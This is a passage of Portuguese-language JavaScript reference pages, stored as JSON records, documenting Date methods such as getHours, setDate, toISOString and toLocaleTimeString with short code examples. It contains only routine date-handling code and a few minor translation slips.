aplicação pode querer usar UTC e fazê-lo visível\noptions.timeZone = \"UTC\";\noptions.timeZoneName = \"short\";\nconsole.log(date.toLocaleDateString(\"en-US\", options));\n// → \"Thursday, December 20, 2012, GMT\"\n```\n\nPerformance\n-----------\n\nAo formatar um grande número de datas, é melhor criar um objeto `Intl.DateTimeFormat` (en-US) e usar a função fornecido porsua propriedade `format` (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.tolocaledatestring |\n| ECMAScript Internationalization API Specification # sup-date.prototype.tolocaledatestring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Intl.DateTimeFormat` (en-US)\n* `Date.prototype.toLocaleString()` (en-US)\n* `Date.prototype.toLocaleTimeString()`\n* `Date.prototype.toString()`"}
{"title":"Date.prototype.getHours() - JavaScript","text":"Date.prototype.getHours()\n=========================\n\nResumo\n------\n\nO método **`getHours()`** retorna a hora para a data especificada, de acordo com a hora local.\n\nSintaxe\n-------\n```\n\ndateObj.getHours()\n```\n\n### Parâmetros\n\nNenhum.\n\n### Retorna\n\nO valor retornado por `getHours()` é um inteiro entre 0 e 23.\n\nExemplos\n--------\n\n### Exemplo: Usando `getHours()`\n\nO segundo statement abaixo atribui o valor 23 à variável `hours`, baseado no valor do objeto `Date` `Xmas95`.\n\n\n```js\nvar Xmas95 = new Date(\"December 25, 1995 23:15:30\");\nvar hours = Xmas95.getHours();\n\nconsole.log(hours); // 23\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.gethours |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCHours()`\n* `Date.prototype.setHours()`"}
{"title":"Date.prototype.setDate() - JavaScript","text":"Date.prototype.setDate()\n========================\n\nO método **`setDate()`** configura o dia do objeto `Date` relativamente ao início do mês configurado previamente.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setDate(dayValue)\n```\n\n### Parâmetros\n\n`dayValue`\n\nUm número inteiro que representa o dia do mês.\n\n### Valor de retorno\n\nO número de milisegundos entre 1o de janeiro de 1970 00:00:00 UTC e a data indicada (o objeto `Date` é mudado no lugar).\n\nDescrição\n---------\n\nSe o `dayValue` estiver fora da extensão de valores de data para o mês, `setDate()` vai atualizar o objeto `Date` consequentemente.\n\nPor exemplo, se 0 for fornecido para `dayValue`, a data será configurada para o último dia do mês anterior.\n\nSe um número negativo for fornecido para `dayValue`, a data será configurada contando-se regressivamente desde o último dia do mês anterior. -1 resultará na data sendo configurada para um dia antes do último dia o mês anterior.\n\nExemplos\n--------\n\n### Usando `setDate()`\n\n\n```js\nvar theBigDay = new Date(1962, 6, 7); // 1962-07-07 (7th of July 1962)\ntheBigDay.setDate(24); // 1962-07-24 (24th of July 1962)\ntheBigDay.setDate(32); // 1962-08-01 (1st of August 1962)\ntheBigDay.setDate(22); // 1962-08-22 (22th of August 1962)\ntheBigDay.setDate(0); // 1962-07-31 (31th of July 1962)\ntheBigDay.setDate(98); // 1962-10-06 (6th of October 1962)\ntheBigDay.setDate(-50); // 1962-08-11 (11th of August 1962)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setdate |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getDate()`\n* `Date.prototype.setUTCDate()`"}
{"title":"Date.prototype.getMinutes() - JavaScript","text":"Date.prototype.getMinutes()\n===========================\n\nO método **`getMinutes()`** retorna os minutos em uma data específica de acordo com o horário local.\n\nSintaxe\n-------\n```\n\ndateObj.getMinutes()\n```\n\n### Retorna\n\nUm número inteiro, entre 0 e 59, representando os minutos em uma data de acordo com o horário local.\n\nExemplos\n--------\n\n### Usando o `getMinutes()`\n\nThe second statement below assigns the value 15 to the variable `minutes`, based on the value of the `Date` object `Xmas95`.\n\nNo exemplo abaixo, a segunda linha atribui o valor 15 à variável `minutes`, baseado no valor de objeto `Global_Objects/Date` `Xmas95`.\n\n\n```js\nvar Xmas95 = new Date(\"December 25, 1995 23:15:30\");\nvar minutes = Xmas95.getMinutes();\n\nconsole.log(minutes); // 15\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getminutes |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCMinutes()`\n* `Date.prototype.setMinutes()`"}
{"title":"Date.prototype.toDateString() - JavaScript","text":"Date.prototype.toDateString()\n=============================\n\nO método **`toDateString()`** retorna a porção da data de um objeto `Date` em um formato legível para humanos em inglês dos Estados Unidos.\n\nSintaxe\n-------\n```\n\nobjetoDate.toDateString()\n```\n\nDescrição\n---------\n\nExemplares de `Date` referem-se a um ponto específico no tempo. Chamar `toString()` retorna a data num formato legível para humanos em inglês dos Estados Unidos. No SpiderMonkey, isso consiste na porção da data (dia, mês e ano) seguida pela porção da hora (horas, minutos, segundos e fuso horário). Ás vezes, deseja-se obter uma string apenas da porção da data; Isso pode ser conseguido com o método `toDateString()`.\n\n`O método toDateString()` é especialmente útil porque motores que implementam o padrão ECMA-262 (en-US) podem divergir na string retornada pelo `toString()` de objetos `Date` , pois o formato é dependente da implentação e abordagens simples que repartem a string podem não produzir resultados consistentes nos vários motores.\n\nExemplos\n--------\n\n### Um uso básico de `toDateString()`\n\n\n```js\nvar d = new Date(1993, 6, 28, 14, 39, 7);\n\nconsole.log(d.toString()); // exibe Wed Jul 28 1993 14:39:07 GMT-0600 (PDT) no log\nconsole.log(d.toDateString()); // exibe Wed Jul 28 1993 no log\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.todatestring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Date.prototype.toLocaleDateString()`\n* `Date.prototype.toTimeString()`\n* `Date.prototype.toString()`"}
{"title":"Date.prototype.toUTCString() - JavaScript","text":"Date.prototype.toUTCString()\n============================\n\nO método **`toUTCString()`** converte uma data para uma cadeia de caracteres (*string*), usando o fuso horário UTC.\n\nBaseado na RFC7231 e modificado de acordo com a ECMA-262 toUTCString, ele pode ter valores negativos na versão de 2021.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.toUTCString()\n```\n\n### Valor de retorno\n\nUma *string* representando a data usando o fuso horário UTC.\n\nDescrição\n---------\n\nO valor retornado por `toUTCString()` é uma *string* no formato `Www, dd Mmm yyyy hh:mm:ss GMT`, onde:\n\n| Formato da String | Descrição |\n| --- | --- |\n| `Www` | Dia da semana, em três letras (e.g. Sun, Mon, ...) |\n| `dd` | Dia do mês, como dois dígitos com zero à esquerda se requisitado |\n| `Mmm` | Mês, em três letras (e.g. Jan, Feb, ...) |\n| `yyyy` | Ano, como 4 ou mais dígitos com zeros à esquerda se requisitado |\n| `hh` | Hora, como dois dígitos com zero à esquerda se requisitado |\n| `mm` | Minutos, como dois dígitos com zero à esquerda se requisitado |\n| `ss` | Segundos, como dois dígitos com zero à esquerda se requisitado |\n\nAntes do ECMAScript 2018, o formato do valor de retorno variava de acordo com a plataforma. O valor de retorno mais comum era um carimbo de data formatada na RFC-1123, que é uma versão relativamente atualizada dos carimbos de data da RFC-822.\n\nExemplos\n--------\n\n### Usando `toUTCString()`\n\n\n```js\nlet today = new Date(\"Wed, 14 Jun 2017 00:00:00 PDT\");\nlet UTCstring = today.toUTCString(); // Wed, 14 Jun 2017 07:00:00 GMT\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.toutcstring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.toLocaleString()` (en-US)\n* `Date.prototype.toDateString()`\n* `Date.prototype.toISOString()`"}
{"title":"Date.prototype.setUTCMilliseconds() - JavaScript","text":"Date.prototype.setUTCMilliseconds()\n===================================\n\nO método **`setUTCMilliseconds()`** atribui os milissegundos para a data especificada de acordo com o horário universal.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setUTCMilliseconds(millisecondsValue)\n```\n\n### Parâmetros\n\n`millisecondsValue`\n\nUm número entre 0 e 999, representando os milissegundos.\n\n### Valor de retorno\n\nO número de milissegundos entre 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe o parâmetro que você especificou estiver fora do alcance esperado, `setUTCMilliseconds()` tentará atualizar a informação da data no objeto `Date`. Por exemplo, se você usar 1100 para `millisecondsValue`, os segundos guardados no objeto `Date` serão incrementados em 1, e 100 serão usados para os milissegundos.\n\nExemplos\n--------\n\n### Usando `setUTCMilliseconds()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setUTCMilliseconds(500);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setutcmilliseconds |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCMilliseconds()`\n* `Date.prototype.setMilliseconds()`"}
{"title":"Date.prototype.getDate() - JavaScript","text":"Date.prototype.getDate()\n========================\n\nResumo\n------\n\nO método **`getDate()`** retorna o dia do mês da data especificada de acordo com a hora local.\n\nSintaxe\n-------\n```\n\ndateObj.getDate()\n```\n\n### Parâmetros\n\nNenhum.\n\n### Retorna\n\nO valor retornado por `getDate()` é um inteiro entre 1 e 31.\n\nExemplos\n--------\n\n### Exemplo: Usando `getDate()`\n\nO segundo statement abaixo atribui o valor 25 à variável day, baseado no valor do objeto `Date` `Xmas95`.\n\n\n```js\nvar Xmas95 = new Date(\"December 25, 1995 23:15:30\");\nvar day = Xmas95.getDate();\n\nconsole.log(day); // 25\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getdate |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCDate()`\n* `Date.prototype.getUTCDay()`\n* `Date.prototype.setDate()`"}
{"title":"Date.prototype.toTimeString() - JavaScript","text":"Date.prototype.toTimeString()\n=============================\n\nO método **`toTimeString()`** retorna uma porção de tempo de um objeto `Date` de forma legível para um ser humano em Inglês Americano.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.toTimeString()\n```\n\n### Valor de retorno\n\nUma *string* representando a porção de tempo da data de forma legível para um ser humano em Inglês Americano.\n\nDescrição\n---------\n\nInstâncias de `Date` referem-se a um ponto específico no tempo. Chamando `toString()` irá retornar uma data formatada de forma legível para um ser humano em Inglês Americano. No SpiderMonkey, isso consiste na porção da data (dia, mês e ano) seguido pela porção de tempo (horas, minutos, segundos e fuso horário). Algumas vezes é desejável obter a *string* da porção do tempo; tal coisa pode ser atingida utilizando o método `toTimeString()`.\n\nO `toTimeString()` método é especialmente útil por que motores parecidos que implementam a ECMA-262 (en-US) podem ter *strings* diferentes obtidas de `toString()` para objetos `Date`, como o formato é dependente de implementação; abordagens de corte simples de *strings* pode não produzir resultados consistentes entre múltiplos motores.\n\nExemplos\n--------\n\n### Uso básico de `toTimeString()`\n\n\n```js\nvar d = new Date(1993, 6, 28, 14, 39, 7);\n\nconsole.log(d.toString()); // Wed Jul 28 1993 14:39:07 GMT-0600 (PDT)\nconsole.log(d.toTimeString()); // 14:39:07 GMT-0600 (PDT)\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.totimestring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.toLocaleTimeString()`\n* `Date.prototype.toDateString()`\n* `Date.prototype.toString()`"}
{"title":"Date.prototype.getUTCDate() - JavaScript","text":"Date.prototype.getUTCDate()\n===========================\n\nO método **`getUTCDate()`** retorna o dia (data) do mês na data especificada de acordo com o horário universal.\n\nSintaxe\n-------\n```\n\ndateObj.getUTCDate()\n```\n\n### Retorna\n\nUm número inteiro, entre 1 e 31, representando o dia do mês na data especificada de acordo com o horário universal.\n\nExemplos\n--------\n\n### Usando `getUTCDate()`\n\nO exemplo a seguir atribui o dia da data atual à variável `day`:\n\n\n```js\nvar today = new Date();\nvar day = today.getUTCDate();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getutcdate |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getDate()`\n* `Date.prototype.getUTCDay()`\n* `Date.prototype.setUTCDate()`"}
{"title":"Date.prototype.toISOString() - JavaScript","text":"Date.prototype.toISOString()\n============================\n\nO método **`toISOString()`** retorna uma cadeia de caracteres (*string*) simplificada no formato ISO extendido (ISO 8601), que é sempre 24 ou 27 caracteres de tamanho (`YYYY-MM-DDTHH:mm:ss.sssZ` ou `±YYYYYY-MM-DDTHH:mm:ss.sssZ`, respectivamente). O fuso horário é sempre o deslocamento zero UTC, como denotado pelo sufixo \"`Z`\".\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.toISOString()\n```\n\n### Valor de retorno\n\nUma *string* representando a data no formato ISO 8601 de acordo com o horário universal.\n\nPolyfill\n--------\n\nEste método foi padronizado na quinta edição da ECMA-262. Motores que não foram atualizados para suportar este método podem funcionar com uma gambiarra na ausência deste método da seguinte forma:\n\n\n```js\nif (!Date.prototype.toISOString) {\n  (function () {\n    function pad(number) {\n      if (number < 10) {\n        return \"0\" + number;\n      }\n      return number;\n    }\n\n    Date.prototype.toISOString = function () {\n      return (\n        this.getUTCFullYear() +\n        \"-\" +\n        pad(this.getUTCMonth() + 1) +\n        \"-\" +\n        pad(this.getUTCDate()) +\n        \"T\" +\n        pad(this.getUTCHours()) +\n        \":\" +\n        pad(this.getUTCMinutes()) +\n        \":\" +\n        pad(this.getUTCSeconds()) +\n        \".\" +\n        (this.getUTCMilliseconds() / 1000).toFixed(3).slice(2, 5) +\n        \"Z\"\n      );\n    };\n  })();\n}\n```\n\nExemplos\n--------\n\n### Usando `toISOString()`\n\n\n```js\nlet today = new Date(\"05 October 2011 14:48 UTC\");\n\nconsole.log(today.toISOString()); // Retorna 2011-10-05T14:48:00.000Z\n```\n\n\nO exemplo acima usa uma conversão de uma *string* não-padrão que pode não ser convertida corretamente em navegadores que não sejam da Mozilla..\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.toisostring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.toLocaleDateString()`\n* `Date.prototype.toTimeString()`\n* `Date.prototype.toUTCString()`"}
{"title":"Date.prototype.valueOf() - JavaScript","text":"Date.prototype.valueOf()\n========================\n\nO método **`valueOf()`** retorna o valor primitivo do objeto `Date`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.valueOf()\n```\n\n### Valor de retorno\n\nO número de milissegundos entre 1 de Janeiro de 1970 00:00:00 UTC e a data.\n\nDescrição\n---------\n\nO método `valueOf()` retorna o valor primitivo do objeto `Date` como um tipo de dado numérico, o número de milissegundos desde a meia noite do dia 1 de Janeiro de 1970 UTC.\n\nEste método é funcionalmente equivalente ao método `Date.prototype.getTime()`.\n\nEste método é geralmente chamado internamente pelo JavaScript e não explícito em código.\n\nExemplos\n--------\n\n### Usando `valueOf()`\n\n\n```js\nvar x = new Date(56, 6, 17);\nvar myVar = x.valueOf(); // atribui -424713600000 to myVar\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.valueof |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Object.prototype.valueOf()`\n* `Date.prototype.getTime()`"}
{"title":"Date.prototype.setMilliseconds() - JavaScript","text":"Date.prototype.setMilliseconds()\n================================\n\nO método **`setMilliseconds()`** atribui os milissegundos para a data específica de acordo com a hora local.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setMilliseconds(millisecondsValue)\n```\n\n### Parâmetros\n\n`millisecondsValue`\n\nUm número entre 0 e 999, representando os milissegundos.\n\n### Valor de retorno\n\nO número de milissegundos entre dia 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe você especifica um número fora do alcance esperado, a informação de data no objeto `Date` é atualizado de acordo. Por exemplo, se você especifica 1005, o número de segundos é incrementado em 1, e 5 é utilizado para os milissegundos.\n\nExemplos\n--------\n\n### Usando `setMilliseconds()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setMilliseconds(100);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setmilliseconds |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getMilliseconds()`\n* `Date.prototype.setUTCMilliseconds()`"}
{"title":"Date.prototype.setUTCMonth() - JavaScript","text":"Date.prototype.setUTCMonth()\n============================\n\nO método **`setUTCMonth()`** atribui o mês para a data especificada de acordo com o horário universal.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setUTCMonth(monthValue[, dayValue])\n```\n\n### Parâmetros\n\n`monthValue`\n\nUm inteiro entre 0 e 11, representando os meses de Janeiro até Dezembro.\n\n`dayValue`\n\nOpcional. Um inteiro de 1 a 31, representando o dia do mês.\n\n### Valor de retorno\n\nO número de milissegundos entre 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe você não especificar o parâmetro `dayValue`, o valor retornado do método `getUTCDate()` é utilizado.\n\nSe um parâmetro que você especificou está fora do alcance especificado, `setUTCMonth()` tentará atualizar a informação da data no objeto `Date`. Por exemplo, se você usar 15 para `monthValue`, o ano irá incrementar em 1, e 3 será usado para o mês.\n\nExemplos\n--------\n\n### Usando `setUTCMonth()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setUTCMonth(11);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setutcmonth |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCMonth()`\n* `Date.prototype.setMonth()`"}
{"title":"Date.prototype.getUTCMinutes() - JavaScript","text":"Date.prototype.getUTCMinutes()\n==============================\n\nO método **`getUTCMinutes()`** retorna os minutos na data especificada de acordo com o tempo universal.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.getUTCMinutes()\n```\n\n### Valor retornado\n\nUm número inteiro, entre 0 e 59, representando os minutos na data especificada de acordo com o horário universal (UTC).\n\nExemplos\n--------\n\n### Usando `getUTCMinutes()`\n\nO seguinte exemplo atribui a parte dos minutos do tempo atual para a variável `minutes`.\n\n\n```js\nvar today = new Date();\nvar minutes = today.getUTCMinutes();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getutcminutes |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getMinutes()`\n* `Date.prototype.setUTCMinutes()`"}
{"title":"Date.prototype.getFullYear() - JavaScript","text":"Date.prototype.getFullYear()\n============================\n\nResumo\n------\n\nO método **`getFullYear()`** retorna o ano da data especificada de acordo com a hora local.\n\nUse este método ao invés do `getYear()`.\n\nSintaxe\n-------\n```\n\ndateObj.getFullYear()\n```\n\n### Parâmetros\n\nNenhum.\n\n### Retorna\n\nO valor retornado por `getFullYear()` é um número absoluto. Para datas entre os anos 1000 e 9999, `getFullYear()` retorna um número de quatro dígitos, por exemplo, 1995. Use esta função para ter certeza de que o ano é compatível com os anos depois de 2000.\n\nExemplos\n--------\n\n### Exemplo: Usando `getFullYear()`\n\nO exemplo seguinte atribui o valor de quatro dígitos do ano corrente à variável year.\n\n\n```js\nvar today = new Date();\nvar year = today.getFullYear();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getfullyear |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCFullYear()`\n* `Date.prototype.setFullYear()`\n* `Date.prototype.getYear()`"}
{"title":"Date.prototype.toLocaleTimeString() - JavaScript","text":"Date.prototype.toLocaleTimeString()\n===================================\n\nO método **`toLocaleTimeString()`** retorna uma string com uma representação sensível ao idioma de uma porção de tempo desta data. Os novos argumentos `locales` e `options` possibilitam aplicações especificarem que formato de linguagem deve ser usado, podendo customizar o comportamento da função. Em implementações antigas, que ignoram os argumentos `locales` e `options`, o local utilizado e o formato retornado da string são implementações completamente dependentes.Experimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.toLocaleTimeString([locales[, options]])\n```\n\n### Parâmetros\n\nConfira a seção Browser compatibility para ver o suporte em browsers dos argumentos `locales` e `options`, e Checking for support for `locales` and `options` arguments para ver suas features.\n\n{{page('/pt-BR/docs/Web/JavaScript/Reference/Global\\_Objects/DateTimeFormat', 'Parameters')}}\nO valor default para cada propriedade do componente date-time é `undefined`, mas se as propriedades `hour`, `minute`, `second` são todas `undefined`, então `hour`, `minute`, e `second` espera-se que seja `\"numeric\"`.\n\n### Valor retornado\n\nUma string representando uma porção de tempo de uma instância `Date`, fornecida de acordo com as convenções específicas do idioma.\n\nExemplos\n--------\n\n### Usando `toLocaleTimeString()`\n\nEm um uso simples, sem especificar uma localidade, é retornado uma string formatada de uma localidade default e com opções default.\n\n\n```js\nvar date = new Date(Date.UTC(2012, 11, 12, 3, 0, 0));\n\n// toLocaleTimeString() sem argumentos, depende da implementação,\n// da localidade padrão, e do fuso horário padrão\nconsole.log(date.toLocaleTimeString());\n// → \"7:00:00 PM\" se rodar em en-US com o fuso horário de America/Los\\_Angeles\n```\n\n### Verificando o suporte para os argumentos `locales` e `options`\n\nOs argumentos `locales` e `options` não são suportados em todos os browsers ainda. Para conferir se uma implementação já os suporta, você pode usar a exigência que tags ilegais de liguagem são rejeitadas com uma exceção `RangeError` (en-US):\n\n\n```js\nfunction toLocaleTimeStringSupportsLocales() {\n  try {\n    new Date().toLocaleTimeString(\"i\");\n  } catch (e) {\n    return e.name === \"RangeError\";\n  }\n  return false;\n}\n```\n\n### Usando `locales`\n\nEste exemplo mostra algumas das variações em um formato de tempo localizado. Para obter o formato do idioma usado na interface do usuário da sua aplicação, tenha certeza de especificar esse idioma (e possivelmente alguns idiomas de retorno) usando o argumento `locales`:\n\n\n```js\nvar date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));\n\n// Os formatos abaixo assumem o fuso horário local da região;\n// America/Los\\_Angeles for the US\n\n// US English usa o formato 12 horas com AM/PM\nconsole.log(date.toLocaleTimeString(\"en-US\"));\n// → \"7:00:00 PM\"\n\n// British English usa o formato 24 horas sem AM/PM\nconsole.log(date.toLocaleTimeString(\"en-GB\"));\n// → \"03:00:00\"\n\n// Korean usa o formato 12 horas com AM/PM\nconsole.log(date.toLocaleTimeString(\"ko-KR\"));\n// → \"오후 12:00:00\"\n\n// Arabic na maiorias dos países que falam árabe usa-se os dígitos arábicos reais\nconsole.log(date.toLocaleTimeString(\"ar-EG\"));\n// → \"٧:٠٠:٠٠ م\"\n\n// quando solicitar um idioma que talvez não seja suportado, como o\n// Balinese, inclua um idioma de fallback, nesse caso Indonesian\nconsole.log(date.toLocaleTimeString([\"ban\", \"id\"]));\n// → \"11.00.00\"\n```\n\n### Usando `options`\n\nOs resultados fornecidos por `toLocaleTimeString()` podem ser customizados usando o argumento `options`:\n\n\n```js\nvar date = new Date(Date.UTC(2012, 11, 20, 3, 0, 0));\n\n// uma aplicação pode querer usar UTC e tornar isso visível\nvar options = { timeZone: \"UTC\", timeZoneName: \"short\" };\nconsole.log(date.toLocaleTimeString(\"en-US\", options));\n// → \"3:00:00 AM GMT\"\n\n// ás vezes, até em US precise usar o formato 24 horas\nconsole.log(date.toLocaleTimeString(\"en-US\", { hour12: false }));\n// → \"19:00:00\"\n```\n\nPerformance\n-----------\n\nQuando se formata um grande número de datas, é aconselhável criar um objeto `Intl.DateTimeFormat` (en-US) e usar a função fornecida pela propriedade dele: `format` (en-US).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.tolocaletimestring |\n| ECMAScript Internationalization API Specification # sup-date.prototype.tolocaletimestring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Intl.DateTimeFormat` (en-US)\n* `Date.prototype.toLocaleDateString()`\n* `Date.prototype.toLocaleString()` (en-US)\n* `Date.prototype.toTimeString()`\n* `Date.prototype.toString()`"}
{"title":"Date.prototype.setMinutes() - JavaScript","text":"Date.prototype.setMinutes()\n===========================\n\nO método **`setMinutes()`** atribui os minutos para uma data específica de acordo com o horário local.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\ndateObj.setMinutes(minutesValue[, secondsValue[, msValue]])\n```\n\n### Versões anteriores ao JavaScript 1.3\n```\n\ndateObj.setMinutes(minutesValue)\n```\n\n### Parâmetros\n\n`minutesValue`\n\nUm inteiro entre 0 e 59, representando os mintuos.\n\n`secondsValue`\n\nOpcional. Um inteiro entre 0 e 59, representando os segundos. Se você especificar o parâmetro `secondsValue`, você também deve especificar `minutesValue`.\n\n`msValue`\n\nOpcional. Um número entre 0 e 999, representando os milissegundos. Se você especificar o parâmetro `msValue`, você deve também especificar `minutesValue` e `secondsValue`.\n\n### Valor de retorno\n\nO número de milissegundos entre dia 1 de Janeiro de 1970 00:00:00 UTC e a data atualizada.\n\nDescrição\n---------\n\nSe você não especifica os parâmetros `secondsValue` e `msValue`, os valores retornados dos métodos `getSeconds()` e `getMilliseconds()` são usados.\n\nSe um parâmetro que você especificou estiver fora do alcance esperado, `setMinutes()` tentará atualizar a informação da data no objeto `Date`. Por exemplo, se você usa 100 para `secondsValue`, os minutos serão incrementados em 1 (`minutesValue + 1`), e 40 serão usados para segundos.\n\nExemplos\n--------\n\n### Usando `setMinutes()`\n\n\n```js\nvar theBigDay = new Date();\ntheBigDay.setMinutes(45);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.setminutes |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getMinutes()`\n* `Date.prototype.setUTCMinutes()`"}
{"title":"Date.prototype.getUTCMilliseconds() - JavaScript","text":"Date.prototype.getUTCMilliseconds()\n===================================\n\no método **`getUTCMilliseconds()`** retorna os milisegundos na data especificada, de acordo com o horário universal (UTC).\n\nSintaxe\n-------\n```\n\ndateObj.getUTCMilliseconds()\n```\n\n### Valor de retorno\n\nUm número inteiro, entre 0 e 999, representando os milisegundos na data especificada de acordo com o horário universal (UTC).\n\nExemplos\n--------\n\n### Usando `getUTCMilliseconds()`\n\nO exemplo a seguir associa a parte dos milissegundos do tempo atual à variável `milissegundos`.\n\n\n```js\nvar hoje = new Date();\nvar milissegundos = today.getUTCMilliseconds();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getutcmilliseconds |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getMilliseconds()`\n* `Date.prototype.setUTCMilliseconds()`"}
{"title":"Date.prototype.getMilliseconds() - JavaScript","text":"Date.prototype.getMilliseconds()\n================================\n\nO método **`getMilliseconds()`** retorna os milissegundos em uma data específica de acordo com o horário local.\n\nSintaxe\n-------\n```\n\ndateObj.getMilliseconds()\n```\n\n### Retorna\n\nUm número, entre 0 e 999, representando os milissegundos de uma data de acordo com o horário local.\n\nExemplos\n--------\n\n### Usando o `getMilliseconds()`\n\nO exemplo a seguir atribui a porção de milissegundos do horário atual à variável `milliseconds`:\n\n\n```js\nvar today = new Date();\nvar milliseconds = today.getMilliseconds();\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-date.prototype.getmilliseconds |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Date.prototype.getUTCMilliseconds()`\n* 